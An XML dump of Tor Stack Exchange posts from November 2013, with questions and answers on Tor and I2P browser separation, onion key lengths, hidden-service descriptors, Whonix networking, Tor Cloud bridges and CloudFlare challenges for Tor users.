  <row Id="758" PostTypeId="1" CreationDate="2013-11-08T22:50:58.317" Score="9" ViewCount="2870" Body="&lt;p&gt;In several forums and articles that I have read people say that the best security for users that want to run both Tor and I2P is to use separate browsers for each. What are the security and anonymity risks of configuring the Tor Browser Bundle to also work with I2P? Would some of this possible Tor/I2P-leaks be negated if the user disabled Firefox cache, cookies, and/or javascript?&lt;/p&gt;&#xA;" OwnerUserId="515" LastEditorUserId="71" LastEditDate="2013-11-11T18:20:20.637" LastActivityDate="2014-01-30T20:37:56.903" Title="Why should users not use the same browser for both I2P and Tor?" Tags="|tor-browser-bundle|i2p|information-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="759" PostTypeId="1" CreationDate="2013-11-08T22:59:31.977" Score="3" ViewCount="231" Body="&lt;p&gt;What is an &quot;encrypted descriptor?&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the pros and cons of using one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what version of Tor did they first become available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they automatically used (i.e. default)? If not, how do you enable the use of one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The current Hidden Service design allows a single node to upload a descriptor to the set of applicable Hidden Service Directories. This descriptor describes how a client can establish a connection with the hidden service. I think that an encrypted descriptor would mean that only those with the decryption key could learn the details required to contact that hidden service. Does this feature exist?&lt;/p&gt;&#xA;" OwnerUserId="515" LastEditorUserId="515" LastEditDate="2013-11-10T23:16:34.610" LastActivityDate="2013-11-12T23:22:15.370" Title="When talking about a hidden service, what does it mean to have an encrypted descriptor?" Tags="|onion-services|onion-routing|encryption|" AnswerCount="1" CommentCount="1" ClosedDate="2013-12-12T14:28:19.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="760" PostTypeId="1" CreationDate="2013-11-08T23:26:44.543" Score="6" ViewCount="1605" Body="&lt;ul&gt;&#xA;&lt;li&gt;Is the cost to performance of using larger key length not cost effective?&lt;/li&gt;&#xA;&lt;li&gt;How would it negatively impact anyone if some hosts decided to use a larger key length (i.e. Why isn't anyone free to manually use a larger key length if they so choose for their hidden service)?&lt;/li&gt;&#xA;&lt;li&gt;In terms of brute force resistance how does the current 1024 length RSA keys stand up against AES 128 used by several HTTPS sites.&lt;/li&gt;&#xA;&lt;li&gt;Is perfect forward secrecy built into the encryption used with hidden services? If not, are there plans to include it in future Tor versions?&lt;/li&gt;&#xA;&lt;li&gt;Are there plans to eventually increase mandatory and/or default onion RSA key length beyond 1024? And if not, when might we see this topic become reviewed (for example, is the current strength and implementation of the protocol considered good enough that we should expect no further work done on it in several years time?)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="515" LastEditorUserId="58" LastEditDate="2013-11-09T10:06:29.960" LastActivityDate="2014-08-01T07:56:59.273" Title="What is the reasoning behind keeping hidden service onion RSA keys at 1024 length?" Tags="|onion-services|onion-routing|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="761" PostTypeId="1" CreationDate="2013-11-08T23:49:01.283" Score="9" ViewCount="359" Body="&lt;p&gt;I realize this question would be highly subject to unknown variables, but I have to presume a few devs are at least partially interested in onion features and someone might have an idea where load balancing (similar to I2P's multi-homing) might fall in their priorities when it comes to working on Tor Hidden Service features.&lt;/p&gt;&#xA;" OwnerUserId="515" LastActivityDate="2013-11-10T15:01:46.283" Title="Should we expect to see Tor Hidden Services get load balancing (similar to I2P's and multi-homing feature) in the next several years?" Tags="|onion-services|load-balance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="762" PostTypeId="2" ParentId="752" CreationDate="2013-11-09T00:28:52.787" Score="0" Body="&lt;p&gt;It's not clear what IP addresses OP is referring to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Whonix gateway has two adapters. One adapter (eth0) may connect to the VirtualBox host, or to a router VM. It will report (using ifconfig) whatever IP address the corresponding DHCP server gives it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other adapter of the Whonix gateway (eth1) connects to a VirtualBox internal network (by default, &quot;whonix&quot;) which it shares with the workstation. The gateway and workstation (obviously) have different local IP addresses on that internal network. By default, the gateway is 192.168.0.10, and the workstation is 192.168.0.11 (both static).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As adrelanos notes, Whonix uses stream isolation, so each isolated application will have a unique public IP address via Tor. However, because the workstation connects through the gateway, particular applications running on either should report the same IP address at any given time, until the circuit changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firewall and routing rules on the gateway prevent local applications from accessing anything via eth0 except through Tor.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-11-09T00:38:17.060" LastActivityDate="2013-11-09T00:38:17.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="763" PostTypeId="5" CreationDate="2013-11-09T03:28:49.063" Score="0" Body="&lt;p&gt;The Tor Cloud project runs on the Amazon EC2 cloud computing platform. This gives you a user-friendly way of deploying bridges to help users access an uncensored Internet. Setting up a Tor bridge on Amazon EC2 is cheap, simple, and will only take you a couple of minutes.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-09T10:30:20.930" LastActivityDate="2013-11-09T10:30:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="764" PostTypeId="4" CreationDate="2013-11-09T03:28:49.063" Score="0" Body="The Tor Cloud project runs on the Amazon EC2 cloud computing platform. This gives you a user-friendly way of deploying bridges to help users access an uncensored Internet." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-09T10:30:47.963" LastActivityDate="2013-11-09T10:30:47.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="765" PostTypeId="1" CreationDate="2013-11-09T04:29:27.860" Score="4" ViewCount="648" Body="&lt;p&gt;&lt;a href=&quot;https://cloud.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor Cloud&lt;/a&gt; makes running a full-time bridge in the cloud fairly easy, and using Amazon's EC2 means there are plenty of locations available at a moderate price. This means though that a lot of Tor-eggs are going into one Amazon-sized basket. Are there any major non-Amazon alternatives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As diversity is so important for the Tor network it would be great to have similarly simple options for other cloud/VPS providers, without being locked into a single option. How difficult would it be to port the Tor Cloud AMI from Amazon to something like a &lt;a href=&quot;https://www.linode.com/stackscripts/&quot; rel=&quot;nofollow&quot;&gt;Linode StackScript&lt;/a&gt; or a &lt;a href=&quot;https://www.digitalocean.com/one-click-install-applications&quot; rel=&quot;nofollow&quot;&gt;DigitalOcean Droplet&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, is there anything similar to the Vidalia Bridge Bundle for Linux servers that could easily be installed onto a commodity VPS and left to run?&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="131" LastEditDate="2013-11-10T13:15:07.810" LastActivityDate="2013-12-18T09:27:59.637" Title="Are there any Tor Cloud alternatives?" Tags="|bridge|tor-cloud|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="766" PostTypeId="2" ParentId="726" CreationDate="2013-11-09T06:20:21.957" Score="2" Body="&lt;p&gt;I get adrelanos' point that this is a Linux question, and not Tor specific. However, given that it's probably a common question for Whonix users who don't know Linux, I believe that it deserves an answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, if the old Whonix workstation has been compromised, transferring data may compromise the new one. If you're just transferring text, gpg keys and such, it's safest to transfer them via your favorite pastebin. Just archive, encrypt and ASCII armor, and then paste the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to transfer more than that, Jason's second answer is easiest, and probably safer than mounting a physical USB drive. In the VirtualBox Storage tab for the new Whonix workstation VM, add a second SATA disk, and select the virtual HDD (VMDK file) of the old Whonix workstation VM. The old Whonix workstation VM should not be running while you're doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now start the new Whonix workstation VM. Once it boots, open a terminal and run the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sudo su&#xA; mkdir /media/oldwhonix&#xA; mount /dev/sdb1 /media/oldwhonix&#xA; cd /media/oldwhonix&#xA; ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy whatever you want from the old filesystem to the new one. Do not copy anything that's executable, and don't execute anything from the old filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cd /home/user&#xA; umount /media/oldwhonix&#xA; exit&#xA; exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next time you stop the new Whonix workstation VM, remove the old Whonix workstation's virtual HDD from its SATA controller.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-11-09T06:20:21.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="767" PostTypeId="2" ParentId="760" CreationDate="2013-11-09T08:40:43.093" Score="3" Body="&lt;p&gt;There is a &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2013-August/005259.html&quot; rel=&quot;nofollow&quot;&gt;proposal&lt;/a&gt; to add Ed25519 keys in version 0.2.5&lt;/p&gt;&#xA;" OwnerUserId="348" LastActivityDate="2013-11-09T08:40:43.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="768" PostTypeId="2" ParentId="757" CreationDate="2013-11-09T10:27:38.337" Score="2" Body="&lt;p&gt;First of all, we don't usually refer to Tor instances running as clients as nodes.  Nodes are relays, and unless specifically said otherwise, it usually also excludes bridge relays.  So nodes are any instances of Tor that are in the &lt;a href=&quot;https://metrics.torproject.org/consensus-health.html&quot; rel=&quot;nofollow&quot;&gt;public consensus&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For introduction points, tor picks &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/rendservice.c#l2335&quot; rel=&quot;nofollow&quot;&gt;nodes that are stable&lt;/a&gt; (which was previously called having high uptime).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For circuits to the rendezvous points, we pick nodes that are fast -- e.g. in &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/rendservice.c#l1343&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rend_service_introduce()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-11-09T10:27:38.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="769" PostTypeId="2" ParentId="756" CreationDate="2013-11-09T11:12:19.463" Score="3" Body="&lt;p&gt;The relays that host your &lt;a href=&quot;https://tor.stackexchange.com/questions/244/is-it-possible-to-look-up-the-public-key-for-a-onion-address&quot;&gt;hidden service descriptors&lt;/a&gt; know of your hidden service as soon as you set it up. In the current design that is required so that clients can actually learn your hidden service's introduction point.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-11-10T07:59:59.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="771" PostTypeId="1" AcceptedAnswerId="807" CreationDate="2013-11-09T14:40:08.303" Score="9" ViewCount="3203" Body="&lt;p&gt;When running Tor via the Tor Browser Bundle, Vidalia works fine, Tor runs and connected, Firefox runs and connects to &lt;a href=&quot;https://check.torproject.org&quot;&gt;https://check.torproject.org&lt;/a&gt; which tells me that I have Tor enabled with an IP address from Germany or something, but there's just one thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The keyboard doesn't work!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use the keyboard at all, not in inputs, not in the browser bar, not with keyboard shortcuts, nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Ubuntu 13.10 x64, I &lt;code&gt;chown&lt;/code&gt; all the files in the directory.&lt;/p&gt;&#xA;" OwnerUserId="521" LastActivityDate="2014-02-16T04:44:19.610" Title="Keyboard is not responsive inside of Tor's firefox" Tags="|tor-browser-bundle|firefox|vidalia|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="772" PostTypeId="2" ParentId="718" CreationDate="2013-11-09T15:07:49.203" Score="3" Body="&lt;p&gt;According to an &lt;a href=&quot;https://www.eff.org/deeplinks/2012/02/https-everywhere-decentralized-ssl-observatory&quot; rel=&quot;nofollow&quot;&gt;entry on the EFF site&lt;/a&gt; it sends a copy of the certificate, when used with Tor the EFF does not learn who send the certificate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you turn on this feature, it will send anonymous copies of certificates for HTTPS websites to EFF's SSL Observatory database, which will allow us to study them and detect problems with the web's cryptographic and security infrastructure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now to the part what it protects against.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Decentralized SSL Observatory is also capable of giving real-time warnings about these problems.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a description of what it actually tells you when they detect that the certificate for xyz.com does not match with what's known to them.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-11-09T15:07:49.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="773" PostTypeId="2" ParentId="599" CreationDate="2013-11-10T00:07:20.017" Score="9" Body="&lt;p&gt;CloudFlare challenges are based on the &lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/200170116-What-do-the-Threat-Scores-mean-&quot;&gt;Security Level&lt;/a&gt; chosen by the site owner. Higher protection levels mean more users are likely to be challenged (usually by filling in a CAPTCHA to proceed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site owners also get to set a &lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/200170136-What-will-changing-the-Challenge-Passage-TTL-do-&quot;&gt;Challenge Passage TTL&lt;/a&gt; to &quot;specify how long a visitor is allowed access to your site after successfully completing a challenge&quot;. The shorter this TTL, the more often risky visitors will have to complete a new challenge. Unfortunately, due to Tor's automatic rotation of exit nodes it could be the case that it's less an issue of CloudFlare's TTL as of your jumping to a new risky IP every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CloudFlare themselves appear to have a more hands-in-the-air-not-our-problem attitude and point users to contact the site owners if they've been &lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/200171886-Access-Denied-Your-IP-address-has-been-banned&quot;&gt;blocked entirely&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're completely right saying &quot;whenever you try to visit a site that they serve, your request will go straight to them first&quot;. CloudFlare in particular have full control over who gets to land on one of their sites due to their setup process which requires them to control the site's DNS as well as proxying &lt;em&gt;all&lt;/em&gt; site traffic. They're not just a CDN for static content, and in fact their T&amp;amp;Cs specifically forbid usage as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you continue to have problems then it's probably worth contacting the site owner and letting them know that they're putting off users because of the security setting they have in place with CloudFlare. If enough users raise the visibility of Tor browsing as a legitimate avenue to their site then hopefully they'll either adjust their settings or move to a platform that will be more anonymity-friendly.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-11-10T00:07:20.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="774" PostTypeId="1" CreationDate="2013-11-10T07:58:24.037" Score="9" ViewCount="2937" Body="&lt;p&gt;What resources are best for search .onion networks within the Tor? Unlike the web where you can search for a domain or portal, what equivalent systems are available for search for Tor specific networks basically .onion networks/sites without actually knowing their address? Must you know what they are already to go to them directly or is there a master listing/search/or directory for them? Based on subject or whatnot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;https://tor.stackexchange.com/questions/661/google-indexing-onion-hidden-sites&quot;&gt;this questions and the answers&lt;/a&gt; but I am looking for a resource or method to look directly within the Tor network layers.&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="31632" LastEditDate="2021-06-11T18:49:29.630" LastActivityDate="2021-06-11T18:49:29.630" Title="Searching for Tor hidden servicces" Tags="|onion-services|directory|darknet|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="775" PostTypeId="2" ParentId="774" CreationDate="2013-11-10T14:50:36.320" Score="5" Body="&lt;p&gt;I think The Hidden Wiki may be what you're looking for:&lt;br/&gt;&#xA;&lt;a href=&quot;http://kpvz7ki2v5agwt35.onion/wiki/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Hidden service link&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;https://kpvz7ki2v5agwt35.tor2web.org/wiki/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Tor2web link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user5" LastEditDate="2013-11-14T13:13:08.990" LastActivityDate="2013-11-14T13:13:08.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="776" PostTypeId="2" ParentId="761" CreationDate="2013-11-10T15:01:46.283" Score="2" Body="&lt;p&gt;Yes.&#xA;I imagine there will be quite a few improvements made to hidden services in the coming years.&lt;br/&gt;&#xA;In fact I think work is currently being done on exactly what you're describing.&#xA;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2013-October/005674.html&quot; rel=&quot;nofollow&quot;&gt;Draft proposal for scalable Hidden Services&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-11-10T15:01:46.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="777" PostTypeId="2" ParentId="737" CreationDate="2013-11-10T15:44:24.637" Score="3" Body="&lt;p&gt;I believe it is possible, but don't know if required tools already exist that anyone could use with low technical skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This answer will cover both traffic correlation and timing attack issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is, you must somehow be able to use some computer in the middle anonymously and send it commands to perform anonymous tasks on scheduled dates and times, or immediately.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In context of Tor, pay anonymously for a server and host a Tor hidden service on it by connecting only through Tor to configure it. The tasks should be performed through Tor too on that server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For any potentially risky activity, in terms of traffic correlation or timing attacks, you should use that anonymous server in the middle to perform tasks and better if you scheduled the tasks with a good timing where it is impossible to be correlated with any of your other identities, offline or online. Tasks could be performed when you're sleeping, when you're somewhere with no connection and preferably for a long time like vacations, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;About the implementation,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I think cronjob is the tool to schedule the tasks in Linux. Never used it before.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Most of the manual tasks which require browser clicks and typing would be hard to be scheduled if not impossible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know if Tor Browser could be controlled remotely on command-line, if a remote desktop connection is possible to the hidden service, that can be used for instant tasks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whonix may be used for both (your own and the one at the middle) computers for best protection. I'm not sure how possible it is.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simple downloading &amp;amp; uploading tasks creates traffic fingerprints so you use the server in the middle to do it now or later, and maybe transfer files to your own computer at a later time. A remote desktop connection could also eliminate the need of having the files on your own computer and allow you to do any tasks anonymously.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;But a remote desktop connection will also have its own traffic which may be suspicious.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;About the tools,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I hope people could suggest better ideas, or any available tools to perform such tasks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I believe volunteers could create some hidden websites/servers which could be used by public for instant or scheduled remote tasks. Advanced tasks may be hard to provide for such public services, but providing even the most simple tasks could create a huge benefit for people.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="486" LastEditorUserId="486" LastEditDate="2013-11-10T15:51:32.750" LastActivityDate="2013-11-10T15:51:32.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="778" PostTypeId="1" CreationDate="2013-11-10T20:52:33.930" Score="0" ViewCount="242" Body="&lt;p&gt;I use Icedove/Thunderbird together with TorBirdy. And now it doesn't find any keys anymore on the preconfigured keyserver: hkp://2eghzlv2wwcq7u7y.onion. I have no idea how to deal with this. Any suggestions where to start looking? Tor is working fine, I can also send emails ...&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="923" LastEditDate="2014-03-04T08:23:10.470" LastActivityDate="2014-03-04T08:23:10.470" Title="TorBirdy: Doesn't find keys on preconfigured onion keyserver" Tags="|onion-services|email|torbirdy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="779" PostTypeId="1" CreationDate="2013-11-11T01:48:04.733" Score="3" ViewCount="430" Body="&lt;p&gt;Exit Relays can be set to allow traffic to exit the Tor network only over certain ports. Vidalia even makes this super-simple by giving options like &quot;Normal, unencrypted Web browsing&quot; or &quot;IRC clients and servers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/231/71&quot;&gt;This answer&lt;/a&gt; notes that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor chooses an exit relay which actually allows you to exit the Tor&#xA;  network. Some only allow web traffic (port 80) which is not useful&#xA;  when someone wants to send emails.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens when a  user is passing traffic over multiple ports? It wouldn't be uncommon to receive email over IMAP whilst web browsing, or even to visit a page serving a mix of HTTP &amp;amp; HTTPS content. Would Tor have to find a single Exit Relay which allows all ports needed, or is it possible that traffic might exit a different node for each port?&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-03-05T19:30:17.370" Title="Does traffic exit Tor at the same node for all ports?" Tags="|exit-relays|circuit|client|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="780" PostTypeId="2" ParentId="779" CreationDate="2013-11-11T09:36:41.573" Score="4" Body="&lt;p&gt;No. Tor traffic does not necessarily all exit at the same exit node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each socket connection that the client sets up, a circuit is used that ends in an appropriate exit node. That is an exit node that allows the IP and port the client is trying to reach.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-11T09:36:41.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="781" PostTypeId="5" CreationDate="2013-11-11T15:32:27.700" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/vidalia.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vidalia&lt;/a&gt; was a cross-platform graphical controller for the Tor software. It is discontinued. Below you'll find a description of what it did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vidalia lets you start and stop Tor, see how much bandwidth you are consuming, see how many circuits you currently have active, see where these circuits are connected on a global map, view messages from Tor about its progress and current state, and let you configure your Tor client, bridge, or relay with a simple interface. Included in Vidalia is an extensive help system which helps you understand all of the options available to you. All of these features are translated into a large number of languages.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="14997" LastEditDate="2018-11-10T10:16:18.863" LastActivityDate="2018-11-10T10:16:18.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="782" PostTypeId="4" CreationDate="2013-11-11T15:32:27.700" Score="0" Body="Vidalia was a cross-platform graphical controller for the Tor software. It is discontinued." OwnerUserId="71" LastEditorUserId="88" LastEditDate="2016-04-07T15:51:27.617" LastActivityDate="2016-04-07T15:51:27.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="783" PostTypeId="5" CreationDate="2013-11-11T18:19:19.863" Score="0" Body="&lt;p&gt;Email is short for &quot;electronic mail&quot;. Email is a method of exchanging digital messages from an author to one or more recipients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email servers accept, forward, deliver, and store messages. Neither the users nor their computers are required to be online simultaneously; they need connect only briefly, typically to a mail server, for as long as it takes to send or receive messages.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-11T18:20:39.607" LastActivityDate="2013-11-11T18:20:39.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="784" PostTypeId="4" CreationDate="2013-11-11T18:19:19.863" Score="0" Body="Email is short for &quot;electronic mail&quot;. Email is a method of exchanging digital messages from an author to one or more recipients." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-16T20:30:33.743" LastActivityDate="2013-11-16T20:30:33.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="785" PostTypeId="5" CreationDate="2013-11-11T18:32:11.543" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy&quot; rel=&quot;nofollow&quot;&gt;TorBirdy&lt;/a&gt; is Torbutton for Thunderbird, Icedove and related Mozilla mail clients. This extension configures Thunderbird to make connections over the Tor anonymity network.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-11T19:38:56.377" LastActivityDate="2013-11-11T19:38:56.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="786" PostTypeId="4" CreationDate="2013-11-11T18:32:11.543" Score="0" Body="TorBirdy is Torbutton for Thunderbird, Icedove and related Mozilla mail clients." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-11T18:33:16.300" LastActivityDate="2013-11-11T18:33:16.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="788" PostTypeId="1" CreationDate="2013-11-12T23:22:05.267" Score="9" ViewCount="31458" Body="&lt;p&gt;When launching the Tor browser from its folder it keeps on failing. The Connection Settings is set to Manual Proxy with SOCKS Host at 127.0.0.1 Port 9150 v5.&lt;/p&gt;&#xA;" OwnerUserId="533" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:00.043" LastActivityDate="2020-02-17T00:07:51.390" Title="Proxy server is refusing connection" Tags="|tor-browser-bundle|socks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="789" PostTypeId="2" ParentId="759" CreationDate="2013-11-12T23:22:15.370" Score="0" Body="&lt;p&gt;There are a couple things this could be. The current version of Tor hidden services has a couple optional security features for making private (that is invitation-only / password protected) services; these features involve encryption and sound like what you're describing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These aren't used by default since most people want their services to be publicly accessible.&#xA;I'm not particularly familiar with their use, sorry, but I imagine configuration involves adding your client's public keys to the file  &lt;code&gt;HiddenServiceDirectory/client_keys&lt;/code&gt;, mentioned in &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en&quot; rel=&quot;nofollow&quot;&gt;the Tor manual&lt;/a&gt;.&lt;br/&gt;&#xA;How they work is described in section 2.1 and 2.2 of Tor's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;rend-spec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that &quot;encrypted descriptors&quot; could refer to is a currently unimplemented feature that involves encrypting hidden service descriptors to hide their contents from the hidden service directories that host them. This would likely not affect the end user.&#xA;Here's a link to the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8106&quot; rel=&quot;nofollow&quot;&gt;trac ticket regarding it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-11-12T23:22:15.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="790" PostTypeId="2" ParentId="446" CreationDate="2013-11-13T14:15:54.497" Score="5" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6761&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 6761&lt;/a&gt; domain names can be reserved for &amp;quot;special use&amp;quot;. Currently several people are attempting to reserve .onion, .exit, .i2p, .gnu, and .zkey so that they couldn't become TLDs (as mentioned in &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-news/2013-November/000020.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this weeks&lt;/a&gt; Tor Weekly News)&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2013-11-13T14:15:54.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
